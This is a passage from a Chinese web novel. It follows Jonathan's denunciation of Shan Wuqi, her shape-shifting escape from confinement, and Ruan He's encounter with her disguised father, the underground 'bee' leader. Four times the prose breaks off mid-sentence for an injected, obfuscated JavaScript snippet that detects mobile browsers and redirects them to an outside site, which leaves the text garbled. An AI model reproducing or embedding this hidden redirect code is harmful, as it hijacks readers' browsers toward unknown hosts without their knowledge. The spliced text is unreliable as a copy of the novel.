所有人的余光隐晦地看向阎银华,有奚落,有惋惜,有怒其不争,有哀其不幸。 友爱部部长向新人举杯,又看向乔纳森:“所幸,我没有向他展示太多的善意。” 乔纳森知道,那个“他”指阎银华。 乔纳森还知道,当他被派去拷问阎银华时,他是作为一枚被牺牲的棋子前去的。 看着面前笑容和蔼的部长,乔纳森没有计较自己被他“牺牲”过的事实。 乔纳森看向角落里的阎银华。 阎银华被抬得太高了,他身上被赋予的期望也太多了。 墙内的声音本就嘈杂。 当那些怀揣着不同目的的期望和声音,通通投射到同一个人身上时,即使那个人是明亮的太阳,也会溃散崩塌。 阎银华如此,那个被老首长推举的新人,也是如此。 果然,不出三个月,那个新人离奇暴毙了。 新人毫无征兆地死在了自己的公寓里。 尸检时,乔纳森得知,新人的胃里塞满了药片,一直溢到喉管上。 乔纳森将此事告知阎银华。 “没有你的那场拷问,我也会如此死去……不,我的死法会更加粗糙。”阎银华笑道,“他们至少给那个倒霉的家伙编了一个像样的心理疾病,让他有了一个死因。” 阎银华点了一根烟。 他递给乔纳森一根:“来一根吗?” 乔纳森摇头。 “不。”乔纳森道,“这会染上烟味。” “我了解你,同志,你是一个隐匿在黑暗处的高手,像一只黑色的螳螂。”阎银华大笑起来。 他的笑声透着些伤感:“这个基地生着怪病,它会吞噬一切明亮的东西,比如朝气,比如理想。位高权重者执掌着基地的未来,但要爬到那个位子上,就必须舍弃生命中光明的那一部分,和人性的阴暗同流合污。” 阎银华停下笑,叹了一口气:“所有真正坐到那个位子上的人,都变成了一个怪物。” 乔纳森道:“小心监听。” 阎银华道:“我已经没有利用价值了——在明面上,在那些人的认知里。” “友爱部甚至会监听婴儿的哭声。” “……”阎银华沉默了一瞬,“真恐怖。” “你为什么和我说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817897|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些?”乔纳森又问出了一个很没有水平的问题。 乔纳森是友爱部的人,是老首长的眼睛和耳朵。 在他看来,阎银华应该格外小心自己,毕竟,他们之间只有利用。 “你现在还是司长吗?”阎银华问。 乔纳森犹豫了一瞬:“现在是。” 现在是,以后不一定是。 在友爱部部长的眼中,乔纳森是一颗可以被牺牲的棋子,即使这颗棋子已经有了一定的分量,但他既然可以被牺牲一次,就可以被牺牲两次,三次。 阎银华的表情犹豫了。 乔纳森盯着阎银华指间的烟:“你有想说的话,可以直说。” “……这不是我的主意,但对你很有好处,可是从我看来,这份好处比不过背后的坏处。”阎银华道,“你知道我最近和一个人走得很近吗?” “那个研究所的小子?我知道。” “他是我在暗中推举的人,它会成为基地未来的新首长。” “……那位未来的新首长带话给我了?” “是。”阎银华脸上的犹豫之色更浓郁了,“他想和你单独谈一谈,并且提前开出了价码——事成之后,你会成为部长。” 部长? 友爱部部长? 乔纳森眼珠滚动:“这是好事。” “不,这不是好事,同志。”阎银华轻声反驳。 乔纳森看着阎银华。 乔纳森是友爱部的拷问官,特情司司长,那些流水的刑具和惩罚,统统由他施与旁人。 他听过太多人的哭嚎,看过太多人的眼泪。 他太明白人性的幽暗了。 所以他实在不知道,这桩交易到底有什么坏处。 “权力可以从内而外异化一个人,当人或者被动推举,或者主动爬到一个极高的位子上,他将不再是一个活人,而是一个政治工具,一个利益傀儡。”阎银华向上吐出一口烟,“你是暗处的螳螂,收割着明处的猎物,但当你成为部长,你将再无匿身之处——你将被他们无情收割,连着血肉和骨头,连着意志和灵魂。” 乔纳森道:“没关系。” “……”阎银华猛地吸了一口烟。 这一口烟极猛,一下子没了半根。 但阎银华没有心思抽剩下的半根,他把那半根烟掷在地上,踩了一脚,没有继续说什么,便转身离去。 他们再也没有见过面。 多年以后,乔纳森终于理解了阎银华的话。 乔纳森成为了友爱部部长,阎银华百般推脱不过,最终成为了团结部部长,他们没有再见面,但他们之间的交锋从未停歇。 许多时候,乔纳森审视着这些交锋,发觉阎银华已经不是从前的那个阎银华了。 阎银华的动作和声音,已经掺杂着许多人的影子。 一如他所言,当一个人坐在一个极高的位子上,他将成为一个工具,一个傀儡。 而乔纳森也是如此。 第一次举报单无绮,有四成出于他的本意。 但第二次举报时,当他权衡着背后的势力和自己的本心时,他愕然发现,自己已经彻底变成了筑墙派发声的工具,现在的他,和一个传话喇叭没什么区别。 喇叭是工具,是耗材。 他也是工具,也是耗材。 现在。乔纳森看着桌上的第三封举报信。 他已经没有办法收手了。 单无绮的陨落是一场饕餮盛宴,他作为一名食客,分食了其中一部分。 权力天生带着剧毒,那剧毒随着进食的举动流淌在血液里。 但单无绮回来了。 乔纳森打开信。 “致首长: 我无法接受一个异种行走在人类的基地里,甚至参与并干涉人类内部的重大决策。 上一次,我以我的政治前途起誓,这一次,我将以我的生命起誓。 无论单无绮是否通过思想考试,她都是一个无可置疑的异种。 研究所的血清研究已经初有进展,我请求,将单无绮的血液制作成血清,注射到我的体内。 如果我仍能保有人类的思维,那么单无绮,便可以被基地视作一个精神上的人类了。” 47. 越狱 单无绮看着桌上的举报信。 “这是乔纳森写的举报信,首长没有拆封,他说,这封信应该你第一个看。”萨摩道。 单无绮两指夹着信封,眉毛紧皱。 萨摩站在不远处。 萨摩是友爱部的拷问官,即使他抗拒着这份工作,但不可否认的是,他和这些刑具相处的时间,比和人相处多得多。 萨摩摸不清单无绮的脾气。 失忆前,单无绮是他的老师,而他只是一个毛头小子。 那时的单无绮冷若冰霜,她唯一一次失态,还是四年前的拓荒年,外城公民将丰收的麦穗抛洒向她的时候。 但单无绮回来后,性格似乎变了。 她变得言笑晏晏,嘴角总是向上翘着,那些过往发生在她身上的事,随着失去的记忆一同消散了。 许多时候,萨摩忍不住想,如果基地不是现在的基地,单无绮也许天生就会活成现在这副模样。 像一个活人。 而非一只冰冷的瓷器。 萨摩低着头,听着单无绮克制的呼吸声。 一分钟后,单无绮拆开信封,开始读信。 举报信的内容乏善可陈。 乔纳森的语言满含要挟。 这三年里,首长没有提拔新的副官,那个位子依然空缺着。但很明显,单无绮原本拥有的权力,已经被众人尽数瓜分了。 因此,当单无绮回来时,他们才会这么如临大敌。 单无绮拥有异种的身体,基地的法令对单无绮而言,某种程度上约等于一纸空文。 单无绮拈着那封信。 她开始思考,首长把这封转交给她的用意是什么。 第一次被举报时,单无绮表示配合,在禁闭室里扛过了三天的审讯。 第二次被举报时,单无绮依然配合,她温顺地被萨摩押送了回来,在禁闭室里老老实实地待到了现在。 但第三次…… 凡事没有第三次。 即使是孩子,也不能过分纵容,更何况,她的对手是一群想将她敲骨食髓的豺狼。 她对同胞的友善,让他们得寸进尺。 她对人类的悲悯,令他们欲壑难填。 这群人绝不会是自己向上爬的助力,而是必须拔除的阻力。 “你打算怎么做?”萨摩问。 “你猜?”单无绮笑嘻嘻地反问。 突然,单无绮的目光扫过萨摩胸前。 她的笑容微微收敛。 而后,她单手托腮,安静地盯着萨摩。 萨摩绷住脸:“什么事?” “……没什么。”单无绮道,“你没有什么想对我说的吗?” 萨摩摇头。 他身穿制服,肩缀流苏,但那枚象征友爱部的铜质盾徽,却不知道去了哪里。 单无绮笑了一声。 萨摩的眼睫毛微微颤抖。 和单无绮道别后,萨摩离开了禁闭室。 单无绮盯着萨摩离开的背影。 黑暗中,她的蓝瞳微微发光。 单无绮不是人类。 她有一双异种的眼睛。 只要有微弱的光线,她就可以视物。 “……再厉害的拷问官,竟然也会忽略我是个异种吗?”单无绮喃喃自语,“革职前的最后一面,竟然还在拿跑腿当幌子——这种别扭的性格,到底是谁教出来的?” “革职?”零一副刚睡醒的口吻,“人类权力更迭的戏码又上演了?” “基地的每个党员,都以四部为荣,他们的胸口都带着铜制徽章,轻易不会摘下。”单无绮摸了摸自己的徽章,“乔纳森是萨摩的上司,论资历,论地位,萨摩都不是乔纳森的对手。” 她盯着铁栏,萨摩的身影已经看不见了:“我对基地的斗争没有丝毫兴趣,但……萨摩和他的那位上司,已经有了斗争的结果。” 说着,单无绮摸了摸心口的徽章。 她戴着两枚徽章,一枚是团结部的铜制剑徽,一枚是阮真莎的铁勋章。 内城。 外城。 贫苦的人绝境反抗,富裕的人勾心斗角。 一时间,单无绮都有些说不清,到底是外城更好,还是内城更好。 单无绮低下头,看着被手铐铐住的双手。 “你打算怎么做?”零问。 单无绮没有说话。 她的双手开始软化、延伸,皮肤表层覆上一层新生的鳞片,鳞片下的骨肉变得水一样柔软。 叮哐。 镣铐落地。 昏暗的禁闭室里,无人察觉单无绮的变化。 禁闭室没有窗户,囚徒通过铁栏细密的缝隙呼吸。 但现在,单无绮变成了一团软度极高的半透明溶液。 她沿着铁栏的缝隙钻了出来。 单无绮钻出来后,没有立刻变回人形。 她抬起眼睛,看着墙壁上的金属亮片。 基地建立在旧人类的遗产上,而那些遗产,唯有伊甸可以完全控制。 单无绮看着那枚金属亮片。 伊甸正在看着她。 “我要离开了。”异化的单无绮没有人类的声带,她的声音带着咕噜声,仿佛加热冒泡的坩埚。 金属亮片闪了闪。 一行银色的文字在上面飞快闪现。 伊甸问:“您要去哪儿?” 单无绮答:“外城,我需要解决一个难题——有关蜂的首领。” 半秒后,伊甸给出回复。 “合理。”伊甸道,“我会黑掉您越狱期间的监控,请您在思想考试开始前回来。” “多谢。”单无绮道。 “请务必不要缺考。”伊甸再次提醒,“即使庄修文同志提供的信件模板,您一个也没有背下来,但交一份白卷,总好过考场上无故缺席。” 单无绮:“……” 单无绮:“好的。” 单无绮溶液化的身体无孔不入,而人类第一基地的建筑,并非每一处地方都严丝合缝。 一阵摸索后,单无绮找到了一处缝隙。 她顺着缝隙钻了出去。 越狱的同时,单无绮通过精神链接,给阮真莎发了一个信息。 她们每天都会联络,确定彼此的安全。 “日安,阮女士。”单无绮道,“柳法的情况如何?” 那头毫无回应,一片死寂。 单无绮的心头顿时冒出不妙的预感。 “阮女士?阮女士?”单无绮重复了好几遍。 “……日安,单副官。”终于,阮真莎上线了,“抱歉,刚才的情况,实在让我无法分心。” “刚才怎么了?”单无绮追问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837831|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小禾回来了,而且,柳法也在现场。”阮真莎的声音十分复杂。 单无绮愣在原地。 柳法是阮禾的父亲。 而阮禾,她在阮真莎的刻意隐瞒下,丝毫不知父辈的事情。 但是,在阮禾的认知里,柳法已经去世了。 * 阮禾是突然回到福利院的,事先没有打过任何招呼。 她本想着给妈妈一个惊喜,但她回来时,妈妈正在和客人谈论要事。 阮真莎经营着外城唯一的福利院,那些登门拜访的人,多是衣衫褴褛的穷人。 他们实在连一口饭都匀不出来了,于是把自己的孩子托付给阮真莎,期望这个孩子能够活下来。 而阮真莎,若非情况特殊,一般都会收留这些孩子。 但是今天的这位客人格外不同。 他穿着漆黑的长袍,戴着巨大的兜帽,遮住了浑身的皮肤。 说话时,客人和阮真莎面对面坐着,双手交叉在桌上。 他的双手也戴着手套。 阮真莎依然穿着那身黑色长裙,但是,和这位客人说话时,她久违地摘下了细格面纱。 阮禾推门而入时,那位客人猛地抬头看向阮禾。 几绺卷曲的白发从兜帽里滑落。 很罕见的发色啊。 阮禾想道。 “啊,对不起!”回过神后,阮禾低头道歉,“你们在谈事吗?我马上离开!” 阮禾就要关门,但阮真莎开口了。 “小禾,给这位先生倒一杯甜茶。”阮真莎的声音十分轻柔。 阮禾愣了一下:“甜茶?” 从前在内城时,她的父亲也很喜欢喝甜茶。 阮禾给神秘的客人倒了一杯茶。 “多谢。”客人低低地答谢一句,伸出戴着手套的双手,接过了那杯茶。 阮禾看着客人,内心思绪涌动。 阮禾是跟随父母从内城来到外城的。 她对外城生活没有什么不满,但不可否认的是,内城和外城的区别太大了。 搬来外城的第一年,他们一家吃了不少苦头,若非邻居的接济,他们甚至连填饱肚子都很难。 而现在…… 阮禾看着这位客人。 她莫名地觉得,这位客人有些像她死去的父亲。 “小禾,你出去吧,我和这位先生还有话要谈。”见阮禾愣住,阮真莎轻柔地提醒。 阮禾眨眨眼,点了点头。 “不,请让她留下吧。”那位客人突然说。 阮禾和阮真莎同时看向那位客人。 客人包裹在宽大的黑袍里,唯有一绺白发垂落在兜帽下。 阮禾看不清客人的脸庞,但通过他沙哑的声音,阮禾能感觉到,他沉浸在某种深沉的痛苦中。 “为什么?”阮真莎追问。 这一刻,阮真莎的语气不复温和。 她的态度变得警惕,仿佛一头护崽的雌狮。 “我不会做什么的,夫人。”神秘的客人道。 阮禾疑惑地看着阮真莎。 阮真莎安静地盯着客人。 他是乔装后的柳法。 “这位小姐,想必……就是您的女儿吧?”柳法道,“我看到她的胸前,戴着四部的铜制剑徽,你将她养育得如此优秀,我……很想听一听她的故事。” 48. 柳法的秘密 阮禾很少和人讲起过去的事。 十五岁之前,阮禾在内城过着幸福的生活。 她的父母都是共荣部党员,她衣食无忧,成绩优秀,最伤心的事情,就是妈妈不让养小狗。 但幸福像泡影一样易碎,十五岁之后,阮禾的人生急转直下。 她不知道四部发生了怎样激烈的斗争,只隐约听说,首长身边的单副官被流放了,而她的父母也辞了职,一家三口从内城搬去了外城。 他们带着钱,但在外城,钱并不是万能的。 信用券在外城难以流通,许多时候,外城公民都是以物易物。 没有门路和渠道,阮禾家里的钱甚至花不出去。 搬家后的第一个夜晚,阮禾捂着咕咕叫的肚子,依偎在母亲温暖的怀抱里,久久无法入睡。 “爸爸呢?”阮禾问,“这么晚了,他还没回来吗?” “他……很快就会回来了。”阮真莎轻声道。 一整个夜晚过去了。 直到第二天,清晨的阳光撒落大地,柳法才疲倦地归来。 他的怀里抱着一个口袋,里面装着半袋麦子。 一家三口都不擅长做饭,因为四部党员及其家属,在内城可以吃食堂。 他们笨拙地升火,简单煮了一小锅半糊的麦粥,一人分了一碗。 阮禾看着碗里的麦粥。 她的碗虽然没有装满,但麦粥是最多的,父亲和母亲的碗里,只有浅浅的一小口。 阮禾咬紧嘴唇,捧着碗。 她不喜欢这样。 对于父母的决定,阮禾没有意见,一家三口肯定要在一起的。 但她已经不是需要照顾的小孩子了,她已经十五岁了。 阮禾端起碗,把多出来的麦粥拨给父母,又护住碗,埋着头,把不多的麦粥,一口一口咽了下去。 眼泪一颗颗掉进碗里。 阮禾咬紧牙关,一声也没哭出来。 之后,阮禾开启了外城生活。 她的脸上带着得体的微笑,和她的父母一起,努力地融入外城。 但外城人并不欢迎他们。 外城不同于内城,饥饿和贫困如一只黑色的幽灵,在这片土地上久久盘旋。 阮禾已经来到外城,但她纤细的十指,白皙的皮肤和明亮的眼睛属于内城,在外城人眼里,她还是一个内城人。 又一次搭话失败后,阮禾略带失落地站在原地。 突然,远处的两个孩子吸引了阮禾的注意。 “该我当单副官了!”女孩子说。 “上一次就是你当,这一次该我当了!”男孩子说。 两个孩子激烈地争吵。 阮禾听得有些恍惚。 单副官…… 单副官是父亲的朋友,她见过单副官一面。 阮禾走过去。 两个孩子停下争吵,两双圆溜溜的大眼睛警惕地看着她。 “我见过单副官。”阮禾说。 两个孩子愣了一下。 下一秒,他们的眼睛猛地亮了起来。 通过这个话题,阮禾第一次和外城人成为了朋友,两个孩子的家人过来后,阮禾也和他们搭上了话。 阮禾成功加入了外城人的社交圈。 但回到家后,阮禾挨了骂。 “你不该在外城提起她。”柳法努力控制怒火,重重地叹了口气,“她被首长亲自流放,即使她是单副官,也比不过首长的威望——我们会被外城人迁怒的。” 阮禾泣不成声。 那是阮禾第二次彻夜难眠。 柳法拿着柴刀守在门口,提防外城人上门。 阮禾缩在阮真莎怀里,内心里,两个想法互相搏斗。 明明孩子们很喜欢单副官,为什么父亲要说,外城人讨厌单副官呢?阮禾想道。 但父亲很聪明,所以他说得是对的。阮禾又想道。 一夜过去。 第二天,柳法打开门,发现门口摆着许多食物。 那是外城人送来的食物。 阮禾和外城人聊天时,无意中说出了家里的情况,于是,他们倾囊相助,只因为他们一家,是单副官的朋友。 这一刻,阮禾意识到两件事。 第一件事,父亲也会猜错。 第二件事,单副官在外城的威望,甚至盖过了首长。 一整年的时间,阮禾从外城人的口中,勾勒出了单副官的形象。 单副官并非像父亲的描述一般,生人勿近,冷若冰霜。 她带领外城人拓荒,开垦的每一片荒田,都曾滴下她的汗水。 她沉默寡言,却会温柔地抚摸孩子的脸颊。 她性格严厉,鞭子挥到偷懒的人身上,到最后,却忍不住落下泪来。 “那片田里,是你们一整年的口粮。”单副官说,“饿死的人已经够多了,你们……不能这样。” 在内外两城的隔阂逐渐加深的特殊时期,单副官是为数不多的,被外城人尊敬的内城人。 一年里,柳法越发沉默。 他的头发逐渐变得花白,无尽的疲倦吞噬了他的精力。 某一天,阮禾惊愕地发现,在父亲的身上,已经很难看到从前意气风发的模样了。 阮禾不敢提问,更不敢开口。 她以为父亲无法适应外城的生活,父亲从共荣部党员,研究所的明日之星,沦落为如今外城的一个小公民,这份巨大的落差,想必需要很长一段时间来消化。 但阮禾没有等来父亲重整旗鼓的那一天。 一场大火燃烧了半个外城,同时,带走了父亲的生命。 如今,阮禾看着黑袍客人。 “先生,我的故事没有什么值得讲述的。”阮禾轻轻地说,“我只是一个侥幸考入四部的普通人。” 柳法看着阮禾。 阮禾的表情十分平静,但平静之下,是深深藏起的忧郁和痛苦。 柳法垂下头。 他长久地沉浸于过去的仇恨,不仅弄丢了曾经深爱着他的妻子,更是弄丢了他们爱情的结晶,他们可爱的女儿。 柳法缓缓地呼出一口气:“……抱歉,是我唐突了。” 阮禾温柔地摇头,而后离开。 她关上门,却没有立刻离开,而是转过身,隔着门扉,双眼失神地看着房间。 “他……是谁?”阮禾喃喃道。 一滩诡异的溶液挪动到阮禾脚边。 “咕噜咕噜……”单无绮发出沸腾坩埚般的声音。 阮禾低下头。 阮禾:“……” 阮禾:“!!!” 阮禾:“啊——” “是我!是我!”单无绮探起身子,手忙脚乱,如果变成一滩水的她还有手脚的话,“别害怕,是我,单无绮!” 阮禾像一只炸毛的矮脚猫。 她大大地瞪着不纯蓝的双眼,脸上满是惊恐之色。 单无绮开口后,阮禾强行定格在原地,抬起的双手悬在半空,看着有点滑稽。 单无绮化出人形,恢复了黑发蓝眸的模样。 阮禾看着单无绮,缓缓地放下了浑身炸起的毛。 阮禾轻声问:“单姐,你怎么在这里?” 单无绮看向紧闭的房门。 她隐约感应到,里面坐着两个人,一个是阮真莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859311|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个是柳法。 阮禾是否已经和柳法见过面? 阮禾是否知道……里面的人,就是她死去的父亲? 单无绮的目光微微闪烁。 她竖起耳朵,捕捉房间里的声音。 房间里,阮禾离开后,阮真莎和柳法安静对坐。 二人都知道阮禾没有离开,而且,二人都知道,单无绮已经赶了过来。 “这大概是我们最后一次见面了。”柳法主动打破了沉默。 阮真莎抬起脸。 她已经摘下了脸上的细格黑纱,苍白的脸没有一丝活人的血色,仿佛一尊冰冷的瓷器。 柳法重启的集体决策思维项目,过早地燃尽了阮真莎的精神。 随着异化程度的严重,阮真莎已经是一个既非人类,也非异种的怪物。 残余的生命甚至无法支撑她彻底异化。 在生命的尽头,她会以扭曲的模样枯槁地死去。 但阮真莎没有对柳法说出一句抱怨或指责。 听到柳法的话,阮真莎淡淡地说:“我会陪你一起流放。” “你这么做,只是不想拖累小禾吧?”柳法依然戴着巨大的兜帽,但他的胸口微微起伏,不知是愤怒还是哀伤,“你心里还恨着我吧?恨我重启了那个罪恶的项目!恨我连累你们离开内城!恨我像个废人一样醉生梦死!恨我——” “我不会恨你。”阮真莎道。 柳法停顿了一下。 “我不会去恨你,也不会再爱你,因为太不值了。”阮真莎戴着手套的手放在膝盖上。 阮真莎的坐姿端庄而娴雅。 无法想象,这样一个美丽的女子,裙下竟有一具狰狞无比的身体。 柳法沉默了很久。 他怔怔地看着阮真莎。 柳法和阮真莎的婚姻,始于父辈的一个约定。 人类第一基地中,结婚的法定最低年龄是18岁。 柳法和阮真莎相差了7岁。 二人结婚时,25岁的柳法是研究所所长波利·萨恩奇的弟子,事业蒸蒸日上,前途一片光明。 而18岁的阮真莎是一朵没有完全盛放的花苞,她的聪慧和天资像花苞中含羞的娇蕊,她刚刚高中毕业,大学的录取通知书还没有正式下发,她就已经拥有了一本结婚证。 相识,相知,相爱,相厌。 柳法至今都说不清,阮真莎到底对自己怀揣着怎样的情感。 她爱自己吗? 她爱过自己吗? 认识阮真莎前,柳法从未考虑过婚姻。 他的精力和才华必定倾注于光明的前途,儿女情长只会是一种阻碍。 但今天,柳法从阮真莎的口中得到了答案。 ——她不会去恨他。 ——她也不会再爱他。 ——她爱过他。 真可笑啊,柳法想道,自诩不会沉溺儿女私情的他,如今却患得患失,而起初向往着婚姻的阮真莎,如今却跳出情海,理性至极。 “你不必陪着我。”柳法道,“我不会反抗,无论是流放墙外,还是处以极刑——在我的理智彻底被吞没之前。” 阮真莎安静地看着柳法。 “但有一件事,我必须告诉你。”柳法又道,“集体决策思维项目的重启,并非我一人的主意。在他的眼里,死人才能保守秘密,所以,在我死去之前,请你把接下来的这番话……告诉单无绮。” 门外,单无绮的眼神一瞬间沉凝下来。 柳法已经异化,以异种的感知能力,柳法不会察觉不到门外的单无绮。 他为什么不能直接告诉自己? 他在忌惮谁? 49. 父亲,母亲,孩子 说完,柳法直直地看着阮真莎。 柳法没有摘下兜帽,但阮真莎和柳法同床共枕十几年,立刻想象出了柳法现在的表情。 他在祈求。 他在哀求。 “重启蜂群意识时,我并未被你逼迫,我们是共犯。”阮真莎低下头,看着放在双膝上的、戴着手套的鳞爪,“有什么想说的,你现在就说吧。” 听到“共犯”一词后,柳法勉强挺直的背,深深地佝偻了下来。 柳法是个男子,在内城锦衣玉食地长大,即使外城的苦难让他明亮的双眼变得黯淡,但他的身形依然高大。 但此时此刻,柳法几乎蜷缩成了一只虾米。 阮真莎安静地看着柳法。 她不在乎自己再次淌入这趟浑水,也不在乎自己又将扮演何种角色。 无论是棋子,还是弃子,她都不在乎。 她只希望戴罪立功,让她唯一的女儿……在四部能够好过一点。 她是不可饶恕的罪人,但她的女儿,她无辜的小禾,应该有一个光明的未来。 门内,一对夫妻陷入沉默。 门外,两个孩子相顾无言。 阮禾凝视单无绮,后者脸上的表情沉重而悲悯。 阮禾轻声问:“他们……说了什么?” 单无绮深吸一口气。 很早之前,单无绮就担心过这个问题。 和阮真莎前往地下时,单无绮对阮真莎说过,阮禾已经成年,家中的大事,最好不要瞒着阮禾。 那时,阮真莎动摇的态度并非作假。 但是如今,这个难题抛向了单无绮。 房间并不隔音,阮禾很可能听到只言片语。 到底应该让阮禾一无所知地离开,还是让阮禾继续留在这里? 单无绮久久没有开口。 阮禾看着单无绮的脸,不纯蓝的双眸微微闪动。 阮禾轻轻地笑了一声。 “里面的人,果然是爸爸吧。”阮禾的声音带着一丝释然。 单无绮猛地抬起头。 她张了张嘴,没有说话。 “单姐,我考入四部,并不只是为了前途。”阮禾的声音轻如梦呓,“那个时候,我的脑子里有一个近乎执念的困惑。” 单无绮看着阮禾的眼睛。 阮禾的眼睛遗传自阮真莎,瞳色是罕见的不纯蓝,在特殊的光线下,会呈现出瑰丽的紫色。 而现在,在窗户折射的阳光下,阮禾的双眸,仿佛一片紫罗兰花海。 “什么疑问?”单无绮问。 “我一直相信,我的父亲没有死。”阮禾道,“那场燃烧了半个外城的大火,夺走了父亲的生命,但是,当那具漆黑的焦尸摆在我们面前时,妈妈……她的反应让我感到疑惑。” “难道她很平静?”单无绮迟疑地推测。 “不。”阮禾摇头,“那时的她,抱着焦尸痛哭流涕,但是,即使在外祖父的葬礼上,她也只流下了一滴眼泪。” 单无绮沉默。 她感到悲哀,即使她没有资格悲哀。 这个畸形病态的基地,由内而外异化了太多人。 阮禾继续说道:“那个时候,我的内心出现了一个疯狂的念头。” “我的父亲没有死,他曾是共荣部的核心党员,他一定是想借假死挣脱什么。” “考入四部后,我混进资料室,在绝密档案里找到了一个人。” “他是地下组织‘蜂’的领袖,代号‘蜂王’。” “蜂王罪孽滔天,外城的那场大火,正是他的手笔——而蜂王的画像,正是我死去的父亲,柳法·波波夫。” 单无绮看着阮禾,再次想起了阎银华的评价。 四部是一个巨大的精神病院,里面住着各处搜罗来的疯子。 无论柳法还是阮真莎,甚至包括阮禾,他们都没有逃脱这个诅咒。 犹如一个可悲的轮回。 “我无法想象,我的父亲竟然如此罪大恶极,而他想假死挣脱的,正是四部的通缉和追杀。”阮禾道,“但最终,我接受了这个事实。” “如果我的父亲真的是基地的罪人,身为团结部党员,我会毫不犹豫地对他开枪。”阮禾的声音轻柔至极,里面蕴着深深的悲伤,“但是,我想要知道,我的父亲犯下了何等滔天的罪孽——以党员的身份向他开枪后,我……会以女儿的身份为他送终。” 单无绮安静地看着阮禾。 那道两难的选择题,单无绮已经有了答案。 在阮禾的注视下,单无绮伸出双手,捧住阮禾的脸。 单无绮的十指软化、延长,带着异种体温的触手缠绕住阮禾的耳朵。 与此同时,另一根触手垂落地面,沿着门缝渗入室内。 一瞬间,阮禾的耳中出现了许多声音。 她听到了室内沉缓的呼吸声,听到了椅子承重的吱呀声,听到了老旧墙皮的剥落声,听到了阳光照在玻璃上,因受热而发出的尖锐爆鸣声。 一切存在着的声音,巨细无遗地进入了阮禾的耳朵。 阮禾的眼神微微发愣。 这就是异种的听力么? 突然,柳法开口了。 柳法的声音低沉得近乎耳语,但在单无绮的操作下,对人类而言微不可闻的低语,变成了字字清晰的广播。 “你是否好奇过,为什么我执意要重启蜂群意识?”柳法问道。 蜂群意识。 集体决策思维项目。 单无绮眼神一凛。 单无绮看向阮禾,发现阮禾的表情没有一丝迷茫或惊讶。 ——进入四部后,阮禾通过自己的努力,已经知道了不少雪藏的秘辛。 阮真莎道:“我的确好奇过,但最后,我把一切归因于你的师父——你被他抚养长大,本应继承他的衣钵,成为下一任研究所所长,拥有一份光明的未来,但……” 阮真莎没有继续说下去。 一切尽在不言中。 柳法的师父是波利·萨恩奇。 他曾是研究所所长,他重启了这个尘封百年的项目,又把女儿佩特拉当成实验体,将佩特拉改造成了不老的怪物。 波利·萨恩奇因此被流放。 他在墙外写下了一本笔记。 而那本笔记,经由壁外调查,一番兜兜转转后,又回到了柳法的弟子,现任研究所所长蓝心的手中。 命运是一个轮回,里面充斥着凡人的哭声。 阮禾的眼珠不受控制地颤抖着。 她咬紧嘴唇,没有发出一丝声音。 突然,一只手轻轻握住阮禾的肩膀,又将阮禾揽进一个温暖的怀抱。 阮禾抬起脸。 单无绮低下头,捂住阮禾的耳朵。 “我可以帮你过滤一些不必要的信息。”单无绮的语气十分轻柔,“如果你不想听下去,立刻告诉我。” 阮禾倚着单无绮的胸口。 她想起外城人对单无绮的崇敬。 即使是现在,外城人仍然习惯称呼单无绮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868425|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为“单副官”。 基地收回了单无绮的副官职称,但在外城人心中,单副官永远是单副官。 单副官这个称谓,凝结着太多美好的情怀。 而单无绮……无论失忆与否,她都对得起外城人的这份情怀。 阮禾垂眸:“谢谢你,单姐。” 片刻后,阮禾道:“但不是现在。” 单无绮看着阮禾。 父亲,母亲,孩子。 一个孩子,即使他/她已是另一个小家庭中的父亲或母亲,但是,当他/她回到父母身边时,便能短暂地脱去顶梁柱的重担,承欢膝下,重新成为一个被保护的孩子。 阮禾是家庭中的孩子。 但现在的阮禾,没有选择成为被保护的那一方。 她直面着真相与痛苦,直面着命运的捉弄。 她无比坚强。 “师父被流放后,我心存不甘。”柳法自嘲地苦笑,“我不甘心跌落神坛,不甘心从万人瞩目的所长继任人,沦为角落里的尘埃。” “怀着这个想法,我重拾起师父的研究。” 